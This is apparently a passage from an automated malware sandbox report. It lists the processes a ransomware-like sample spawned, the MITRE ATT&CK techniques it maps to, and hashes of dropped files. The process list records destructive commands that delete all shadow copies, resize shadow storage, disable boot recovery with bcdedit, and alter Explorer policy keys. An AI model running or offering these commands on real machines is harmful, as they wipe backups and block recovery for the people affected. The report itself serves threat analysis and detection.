C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f1⤵PID:4488
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f1⤵
- Modifies registry class
PID:4368
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded1⤵
- Interacts with shadow copies
PID:9000
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Interacts with shadow copies
PID:6368
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6416
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:9024
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No1⤵
- Modifies boot configuration data using bcdedit
PID:8968
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6580
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5620
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:8324
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:548
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3684 -ip 36841⤵PID:7760
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5b54c99642009066750f842212be592b3
SHA185619af948f9aae13c5ba698a321460d55d23258
SHA256a454cf0a6640765fd8f9279657871a9054715fdcfd3db2089e0b745022cac86a
SHA5124e8cf2615d9cc9519b8ccf8acd66eaf204b9d23d192a105252655194fd9524821a942ceb62875a947ea9eeaa3c48064418ccf76937f61474a570f84c74621131
-
Filesize
12KB
MD58f7e16b659f388b528519d244ccca3b4
SHA1f760bf0d650ddf49c55abbc2b6415574be242eef
SHA25687e1c26039540cb29490272d0bc7c8d9a3b15b02493ed478b84b7278f56753f1
SHA512c1e8608ea19e62fb198b47b67058b85e1b430d61a8f24f71bfd3cea0cbda0d4df27ce3a30b45b032b92e1363a31aaeaffa056ae01c2e0cc7eb71a8e9c5ca8943
-
Filesize
684B
MD56567982c31a9ec8bb7bf2cab9a31f0c1
SHA18b59a9f904971a4f215a079be3f2a7502571d802
SHA256c28dfd36e9093d735d55c4d1beda30a9a3344d348ddd4612539d04538aa70825
SHA512e674fe8329b1ac5074309291f790ec9cfaddb9288794d99dfe925b28513f91c223e2e3d7f4e9f5527456ad2d52ff0aed20b36838680f236d4b52ec56322aff54